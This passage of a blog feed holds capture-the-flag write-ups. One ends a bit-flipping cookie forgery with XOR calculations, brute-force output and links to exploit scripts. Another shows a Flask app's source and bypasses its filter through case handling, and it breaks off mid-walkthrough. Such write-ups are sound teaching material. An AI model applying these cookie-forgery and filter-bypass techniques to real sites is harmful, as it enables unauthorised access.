</span></span><span style="display:flex;"><span><span style="color:#ae81ff">91</span> ^ 61 <span style="color:#f92672">=</span> f0
</span></span><span style="display:flex;"><span>d3 ^ 63 <span style="color:#f92672">=</span> b0
</span></span><span style="display:flex;"><span>9d ^ 63 <span style="color:#f92672">=</span> fe
</span></span><span style="display:flex;"><span>5f ^ 65 <span style="color:#f92672">=</span> 3a
</span></span><span style="display:flex;"><span>fa ^ 73 <span style="color:#f92672">=</span> <span style="color:#ae81ff">89</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">07</span> ^ 73 <span style="color:#f92672">=</span> <span style="color:#ae81ff">74</span>
</span></span><span style="display:flex;"><span>b9 ^ 5f <span style="color:#f92672">=</span> e6
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">48</span> ^ 6c <span style="color:#f92672">=</span> <span style="color:#ae81ff">24</span>
</span></span><span style="display:flex;"><span>2b ^ 65 <span style="color:#f92672">=</span> 4e
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">18</span> ^ 76 <span style="color:#f92672">=</span> 6e
</span></span><span style="display:flex;"><span>c2 ^ 65 <span style="color:#f92672">=</span> a7
</span></span><span style="display:flex;"><span>4a ^ 6c <span style="color:#f92672">=</span> <span style="color:#ae81ff">26</span>
</span></span><span style="display:flex;"><span>7d ^ 22 <span style="color:#f92672">=</span> 5f
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">46</span> ^ 3a <span style="color:#f92672">=</span> 7c
</span></span><span style="display:flex;"><span>0f ^ 20 <span style="color:#f92672">=</span> 2f
</span></span><span style="display:flex;"><span>c6 ^ 22 <span style="color:#f92672">=</span> e4
</span></span><span style="display:flex;"><span>ba ^ 41 <span style="color:#f92672">=</span> fb
</span></span><span style="display:flex;"><span>ac ^ 64 <span style="color:#f92672">=</span> c8
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">43</span> ^ 6d <span style="color:#f92672">=</span> 2e
</span></span><span style="display:flex;"><span>6b ^ 69 <span style="color:#f92672">=</span> <span style="color:#ae81ff">02</span>
</span></span><span style="display:flex;"><span>cf ^ 6e <span style="color:#f92672">=</span> a1
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">15</span> ^ 22 <span style="color:#f92672">=</span> <span style="color:#ae81ff">37</span>
</span></span><span style="display:flex;"><span>New Ciphertext <span style="color:#f92672">(</span>hex<span style="color:#f92672">)</span>: 0aeaf0b0fe3a8974e6244e6ea7265f7c2fe4fbc82e02a137
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Bruteforcing the last <span style="color:#f92672">(</span>extra<span style="color:#f92672">)</span> byte
</span></span><span style="display:flex;"><span>Trying 0aeaf0b0fe3a8974e6244e6ea7265f7c2fe4fbc82e02a13700...Wrong
</span></span><span style="display:flex;"><span>Trying 0aeaf0b0fe3a8974e6244e6ea7265f7c2fe4fbc82e02a13701...Wrong
</span></span><span style="display:flex;"><span>Trying 0aeaf0b0fe3a8974e6244e6ea7265f7c2fe4fbc82e02a13702...Wrong
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>Trying 0aeaf0b0fe3a8974e6244e6ea7265f7c2fe4fbc82e02a13741...Wrong
</span></span><span style="display:flex;"><span>Trying 0aeaf0b0fe3a8974e6244e6ea7265f7c2fe4fbc82e02a13742...Wrong
</span></span><span style="display:flex;"><span>Trying 0aeaf0b0fe3a8974e6244e6ea7265f7c2fe4fbc82e02a13743...Correct
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>New Ciphertext with correct extra byte <span style="color:#f92672">(</span>hex<span style="color:#f92672">)</span>: 0aeaf0b0fe3a8974e6244e6ea7265f7c2fe4fbc82e02a13743
</span></span></code></pre></div><h2 id="profit">Profit</h2>
<p>We can then copy our calculated ciphertext and set it as our cookie in the browser:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/flipping/new_cookie.png"  class="center"  />

</p>
<p>and then reload the <code>/flag</code> site:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/flipping/flag_solved.png"  class="center"  />

</p>
<p>We have now stolen the flag from psyduck.</p>
<h2 id="links-to-scripts-used">Links to scripts used</h2>
<ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/ddc2023/flipping_privilege/local_exploit.py"><code>local_exploit.py</code></a></li>
<li><a href="https://filehost.osiriz.xyz/homepage/files/ddc2023/flipping_privilege/remote_exploit.py"><code>remote_exploit.py</code></a></li>
</ul>
]]></content></item><item><title>DDC 2023 Qualification - Psssssyducks</title><link>https://osiriz.dev/posts/2023/03/ddc-2023-qualification-psssssyducks/</link><pubDate>Mon, 20 Mar 2023 09:30:00 +0100</pubDate><guid>https://osiriz.dev/posts/2023/03/ddc-2023-qualification-psssssyducks/</guid><description>Recon and Introduction At the given url (http://psyducks.hkn), we are met by the image of a psyduck: Devtools If we inspect the HTML in devtools, we can see that the image comes from /content?psyduck=brick: Going over to the storage tab in the devtools we can see that we have a cookie set for this site: We can decode it from base64 in cyberchef and see what it contains: It seems that the cookie contains a list of psyduck variants, if we change the brick from the /content?</description><content type="html"><![CDATA[<h2 id="recon-and-introduction">Recon and Introduction</h2>
<p>At the given url (<code>http://psyducks.hkn</code>), we are met by the image of a psyduck:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/psyducks/home.png"  class="center"  />

</p>
<h3 id="devtools">Devtools</h3>
<p>If we inspect the HTML in devtools, we can see that the image comes from <code>/content?psyduck=brick</code>:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/psyducks/inspect.png"  class="center"  />

</p>
<p>Going over to the storage tab in the devtools we can see that we have a cookie set for this site:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/psyducks/cookie.png"  class="center"  />

</p>
<p>We can decode it from base64 in <a href="https://gchq.github.io/CyberChef/">cyberchef</a> and see what it contains:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/psyducks/cookie_decoded.png"  class="left"  />

</p>
<p>It seems that the cookie contains a list of psyduck variants, if we change the <code>brick</code> from the <code>/content?psyduck=</code> GET request to any of the others, we get a different image.</p>
<p>We may be able to use this to get a psyduck image not in the list by changing the entries in the cookie and get request.</p>
<h3 id="scanning-for-directories">Scanning for directories</h3>
<p>We need some more information on how the site works, so we run <code>gobuster</code> to see if we can find some other directories and entrypoints on the server:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/psyducks/gobuster.png"  class="center"  />

</p>
<p>We find the <code>/browse</code> path, if we visit it in the browser we can see that it links to a <code>backup.zip</code>:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/psyducks/browse.png"  class="center"  />

</p>
<p>We then download and unzip this archive:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/psyducks/backup_download.png"  class="center"  />



    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2023/psyducks/backup_unzip.png"  class="center"  />

</p>
<h2 id="analysis-of-the-apppy-file">Analysis of the app.py file</h2>
<p>We now have a copy of the <code>app.py</code> file the server is running:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> flask <span style="color:#f92672">import</span> Flask,request,Response,render_template,abort,make_response
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> json<span style="color:#f92672">,</span>random<span style="color:#f92672">,</span>os<span style="color:#f92672">,</span>base64
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">### Global variables</span>
</span></span><span style="display:flex;"><span>app <span style="color:#f92672">=</span> Flask(__name__)
</span></span><span style="display:flex;"><span>allowedPsyducks   <span style="color:#f92672">=</span> [<span style="color:#e6db74">&#39;normal&#39;</span>,<span style="color:#e6db74">&#39;king&#39;</span>,<span style="color:#e6db74">&#39;tea&#39;</span>,<span style="color:#e6db74">&#39;cold&#39;</span>,<span style="color:#e6db74">&#39;strong&#39;</span>,<span style="color:#e6db74">&#39;shy&#39;</span>,<span style="color:#e6db74">&#39;gentleman&#39;</span>,<span style="color:#e6db74">&#39;sick&#39;</span>,<span style="color:#e6db74">&#39;brick&#39;</span>,<span style="color:#e6db74">&#39;sus&#39;</span>,<span style="color:#e6db74">&#39;swole&#39;</span>,<span style="color:#e6db74">&#39;scream&#39;</span>,<span style="color:#e6db74">&#39;party&#39;</span>,<span style="color:#e6db74">&#39;cool&#39;</span>,<span style="color:#e6db74">&#39;panic&#39;</span>,<span style="color:#e6db74">&#39;fast&#39;</span>,<span style="color:#e6db74">&#39;happy&#39;</span>,<span style="color:#e6db74">&#39;irl&#39;</span>,<span style="color:#e6db74">&#39;oddish&#39;</span>,<span style="color:#e6db74">&#39;onix&#39;</span>,<span style="color:#e6db74">&#39;rain&#39;</span>,<span style="color:#e6db74">&#39;sad&#39;</span>,<span style="color:#e6db74">&#39;serene&#39;</span>,<span style="color:#e6db74">&#39;smol&#39;</span>,<span style="color:#e6db74">&#39;super&#39;</span>,<span style="color:#e6db74">&#39;triple&#39;</span>]
</span></span><span style="display:flex;"><span>forbiddenPsyducks <span style="color:#f92672">=</span> [<span style="color:#e6db74">&#39;princess&#39;</span>]
</span></span><span style="display:flex;"><span>allPsyducks <span style="color:#f92672">=</span> allowedPsyducks <span style="color:#f92672">+</span> forbiddenPsyducks
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">### Internal functions</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">forbidden_psy</span>(requested_psyduck:str,ip:str):
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> requested_psyduck<span style="color:#f92672">.</span>lower() <span style="color:#f92672">in</span> forbiddenPsyducks:
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># Localhost is allowed to view the magnificent psyducks</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> ip <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;127.0.0.1&#34;</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># Outsiders are not!</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> abort(<span style="color:#ae81ff">401</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">check_favorite_requested</span>(requested_psyduck:str,favourite_psyducks:list):
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> requested_psyduck <span style="color:#f92672">in</span> favourite_psyducks
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">check_favorite_forbidden</span>(favourite_psyducks:list):
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> favourite_psyduck <span style="color:#f92672">in</span> favourite_psyducks:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> favourite_psyduck <span style="color:#f92672">in</span> forbiddenPsyducks:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">False</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">True</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">### Flask functions</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@app.route</span>(<span style="color:#e6db74">&#39;/supersecretbackup/backup.zip&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">backup</span>():
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> Response(backup_zip, mimetype<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;application/zip&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@app.route</span>(<span style="color:#e6db74">&#39;/browse&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">dir_listing</span>():
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Show directory contents</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> render_template(<span style="color:#e6db74">&#39;browse.html&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@app.route</span>(<span style="color:#e6db74">&#39;/content&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">retPsyduck</span>():
</span></span><span style="display:flex;"><span>    user_request <span style="color:#f92672">=</span> request<span style="color:#f92672">.</span>args<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#39;psyduck&#39;</span>)
</span></span><span style="display:flex;"><span>    user_ip <span style="color:#f92672">=</span> request<span style="color:#f92672">.</span>environ[<span style="color:#e6db74">&#39;REMOTE_ADDR&#39;</span>]
</span></span><span style="display:flex;"><span>    user_cookie <span style="color:#f92672">=</span> json<span style="color:#f92672">.</span>loads(base64<span style="color:#f92672">.</span>b64decode(request<span style="color:#f92672">.</span>cookies<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#39;MyFavoritePsyducks&#39;</span>))<span style="color:#f92672">.</span>decode())[<span style="color:#e6db74">&#39;psy&#39;</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Ensure the requested psyducks is a favorite!</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> check_favorite_requested(user_request,user_cookie):
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> Response(<span style="color:#e6db74">&#39;You can only request your favorite psyducks!&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Ensure user doesn&#39;t covet any forbidden psyducks!</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> check_favorite_forbidden(user_cookie):
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> Response(<span style="color:#e6db74">&#39;You are not allowed to like that psyduck!&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Check the requested psyduck is not forbidden!</span>
</span></span><span style="display:flex;"><span>    forbidden_psy(user_request,user_ip)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> user_request<span style="color:#f92672">.</span>casefold() <span style="color:#f92672">in</span> allPsyducks:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> check_favorite_requested(user_request<span style="color:#f92672">.</span>casefold(), user_cookie):
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> Response(<span style="color:#e6db74">&#39;You can only request your truly most favourite of psyducks!&#39;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#39;psyducks/&#39;</span><span style="color:#f92672">+</span>user_request<span style="color:#f92672">.</span>casefold()<span style="color:#f92672">+</span><span style="color:#e6db74">&#39;.png&#39;</span>,<span style="color:#e6db74">&#39;rb&#39;</span>) <span style="color:#66d9ef">as</span> f:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> Response(f<span style="color:#f92672">.</span>read(), mimetype<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;image/png&#39;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> Response(<span style="color:#e6db74">&#39;No Psyduck requested!&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@app.route</span>(<span style="color:#e6db74">&#34;/&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">index</span>():
</span></span><span style="display:flex;"><span>    n <span style="color:#f92672">=</span> random<span style="color:#f92672">.</span>randint(<span style="color:#ae81ff">0</span>, len(allowedPsyducks)<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>    res <span style="color:#f92672">=</span> make_response()
</span></span><span style="display:flex;"><span>    cookie <span style="color:#f92672">=</span> base64<span style="color:#f92672">.</span>b64encode(json<span style="color:#f92672">.</span>dumps({<span style="color:#e6db74">&#39;psy&#39;</span>:allowedPsyducks})<span style="color:#f92672">.</span>encode())
</span></span><span style="display:flex;"><span>    res<span style="color:#f92672">.</span>set_cookie(<span style="color:#e6db74">&#39;MyFavoritePsyducks&#39;</span>, cookie)
</span></span><span style="display:flex;"><span>    res<span style="color:#f92672">.</span>set_data(indexTemplate<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#39;ZZZ&#39;</span>,allowedPsyducks[n]))
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> res
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">### Main</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#39;./templates/index.html&#39;</span>) <span style="color:#66d9ef">as</span> f:
</span></span><span style="display:flex;"><span>    indexTemplate <span style="color:#f92672">=</span> f<span style="color:#f92672">.</span>read()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#39;./supersecretbackup/backup.zip&#39;</span>,<span style="color:#e6db74">&#39;rb&#39;</span>) <span style="color:#66d9ef">as</span> f:
</span></span><span style="display:flex;"><span>    backup_zip <span style="color:#f92672">=</span> f<span style="color:#f92672">.</span>read()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(__name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;__main__&#39;</span>):
</span></span><span style="display:flex;"><span>    app<span style="color:#f92672">.</span>run(host<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;0.0.0.0&#39;</span>)
</span></span></code></pre></div><p>We are mostly interested in the <code>/content</code> route so we can strip out most of the file contents for our local version.</p>
<p>Here are a simplified version we can use for testing (with added comments):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> flask <span style="color:#f92672">import</span> Flask,request,Response,render_template,abort,make_response
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> json<span style="color:#f92672">,</span>random<span style="color:#f92672">,</span>os<span style="color:#f92672">,</span>base64
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">### Global variables</span>
</span></span><span style="display:flex;"><span>allowedPsyducks   <span style="color:#f92672">=</span> [<span style="color:#e6db74">&#39;normal&#39;</span>,<span style="color:#e6db74">&#39;king&#39;</span>,<span style="color:#e6db74">&#39;tea&#39;</span>,<span style="color:#e6db74">&#39;cold&#39;</span>,<span style="color:#e6db74">&#39;strong&#39;</span>,<span style="color:#e6db74">&#39;shy&#39;</span>,<span style="color:#e6db74">&#39;gentleman&#39;</span>,<span style="color:#e6db74">&#39;sick&#39;</span>,<span style="color:#e6db74">&#39;brick&#39;</span>,<span style="color:#e6db74">&#39;sus&#39;</span>,<span style="color:#e6db74">&#39;swole&#39;</span>,<span style="color:#e6db74">&#39;scream&#39;</span>,<span style="color:#e6db74">&#39;party&#39;</span>,<span style="color:#e6db74">&#39;cool&#39;</span>,<span style="color:#e6db74">&#39;panic&#39;</span>,<span style="color:#e6db74">&#39;fast&#39;</span>,<span style="color:#e6db74">&#39;happy&#39;</span>,<span style="color:#e6db74">&#39;irl&#39;</span>,<span style="color:#e6db74">&#39;oddish&#39;</span>,<span style="color:#e6db74">&#39;onix&#39;</span>,<span style="color:#e6db74">&#39;rain&#39;</span>,<span style="color:#e6db74">&#39;sad&#39;</span>,<span style="color:#e6db74">&#39;serene&#39;</span>,<span style="color:#e6db74">&#39;smol&#39;</span>,<span style="color:#e6db74">&#39;super&#39;</span>,<span style="color:#e6db74">&#39;triple&#39;</span>]
</span></span><span style="display:flex;"><span>forbiddenPsyducks <span style="color:#f92672">=</span> [<span style="color:#e6db74">&#39;princess&#39;</span>] <span style="color:#75715e">## (WRITEUP) Name of psyduck they dont want us to see</span>
</span></span><span style="display:flex;"><span>allPsyducks <span style="color:#f92672">=</span> allowedPsyducks <span style="color:#f92672">+</span> forbiddenPsyducks
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">### Internal functions</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">forbidden_psy</span>(requested_psyduck:str,ip:str):
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">## (WRITEUP) Checks if our requested psyduck is the forbidden psyduck,</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">## (WRITEUP) if it is we need to be localhost.</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">## (WRITEUP) Notice the use of .lower()</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> requested_psyduck<span style="color:#f92672">.</span>lower() <span style="color:#f92672">in</span> forbiddenPsyducks:
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># Localhost is allowed to view the magnificent psyducks</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> ip <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;127.0.0.1&#34;</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># Outsiders are not!</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> abort(<span style="color:#ae81ff">401</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">check_favorite_requested</span>(requested_psyduck:str,favourite_psyducks:list):
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">## (WRITEUP) Checks if the requested psyduck is in the list from the cookie</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> requested_psyduck <span style="color:#f92672">in</span> favourite_psyducks
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">check_favorite_forbidden</span>(favourite_psyducks:list):
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">## (WRITEUP) Loops over all psyducks in the cookie list</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">## (WRITEUP) and checks if they are the forbidden psyduck</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> favourite_psyduck <span style="color:#f92672">in</span> favourite_psyducks:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> favourite_psyduck <span style="color:#f92672">in</span> forbiddenPsyducks:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">False</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">True</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">### Flask functions</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@app.route</span>(<span style="color:#e6db74">&#39;/content&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">retPsyduck</span>():
</span></span><span style="display:flex;"><span>    user_request <span style="color:#f92672">=</span> request<span style="color:#f92672">.</span>args<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#39;psyduck&#39;</span>)
</span></span><span style="display:flex;"><span>    user_ip <span style="color:#f92672">=</span> request<span style="color:#f92672">.</span>environ[<span style="color:#e6db74">&#39;REMOTE_ADDR&#39;</span>]
</span></span><span style="display:flex;"><span>    user_cookie <span style="color:#f92672">=</span> json<span style="color:#f92672">.</span>loads(base64<span style="color:#f92672">.</span>b64decode(request<span style="color:#f92672">.</span>cookies<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#39;MyFavoritePsyducks&#39;</span>))<span style="color:#f92672">.</span>decode())[<span style="color:#e6db74">&#39;psy&#39;</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">## (WRITEUP) 1st check: check if requested psyduck is in the list from the cookie</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Ensure the requested psyducks is a favorite!</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> check_favorite_requested(user_request,user_cookie):
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> Response(<span style="color:#e6db74">&#39;You can only request your favorite psyducks!&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">## (WRITEUP) 2nd check: check if the list from the cookie contains the forbidden psyduck</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Ensure user doesn&#39;t covet any forbidden psyducks!</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> check_favorite_forbidden(user_cookie):
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> Response(<span style="color:#e6db74">&#39;You are not allowed to like that psyduck!&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">## (WRITEUP) 3rd check: check if the user requested the forbidden psyduck</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">## (WRITEUP) and if the users ip is 127.0.0.1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Check the requested psyduck is not forbidden!</span>
</span></span><span style="display:flex;"><span>    forbidden_psy(user_request,user_ip)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">## (WRITEUP) 4th and 5th check: make sure that the requested psyduck exist</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">## (WRITEUP) and if the requested psyduck is in the list from the cookie.</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">## (WRITEUP) Notice the use of .casefold() instead of .lower()</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> user_request<span style="color:#f92672">.</span>casefold() <span style="color:#f92672">in</span> allPsyducks:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> check_favorite_requested(user_request<span style="color:#f92672">.</span>casefold(), user_cookie):
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> Response(<span style="color:#e6db74">&#39;You can only request your truly most favourite of psyducks!&#39;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">## (WRITEUP) Finally return the image of the requested psyduck after passing all the checks.</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#39;psyducks/&#39;</span><span style="color:#f92672">+</span>user_request<span style="color:#f92672">.</span>casefold()<span style="color:#f92672">+</span><span style="color:#e6db74">&#39;.png&#39;</span>,<span style="color:#e6db74">&#39;rb&#39;</span>) <span style="color:#66d9ef">as</span> f:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> Response(f<span style="color:#f92672">.</span>read(), mimetype<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;image/png&#39;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> Response(<span style="color:#e6db74">&#39;No Psyduck requested!&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">### Main</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(__name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;__main__&#39;</span>):
</span></span><span style="display:flex;"><span>    app<span style="color:#f92672">.</span>run(host<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;0.0.0.0&#39;</span>, <span style="color:#ae81ff">8080</span>)
</span></span></code></pre></div><p>The goal seems to successfully request the <code>princess</code> psyduck by bypassing all the checks.</p>
<h3 id="bypassing-the-1st-and-2nd-check">Bypassing the 1st and 2nd check</h3>
<p>The 1st check is easy to get by, we just need to write the psyduck we request to the list in the cookie.</p>
<p>The 2nd check is where it becomes difficult, we can&rsquo;t just use <code>princess</code> as the get request and cookie.</p>
<p>We can use <code>Princess</code> (with capital P), since <code>&quot;Princess&quot; != &quot;princess&quot;</code>.
It will still return the correct image since <code>.casefold()</code> will make the capital P to lowercase.</p>
<h3 id="bypassing-the-3rd-check">Bypassing the 3rd check</h3>
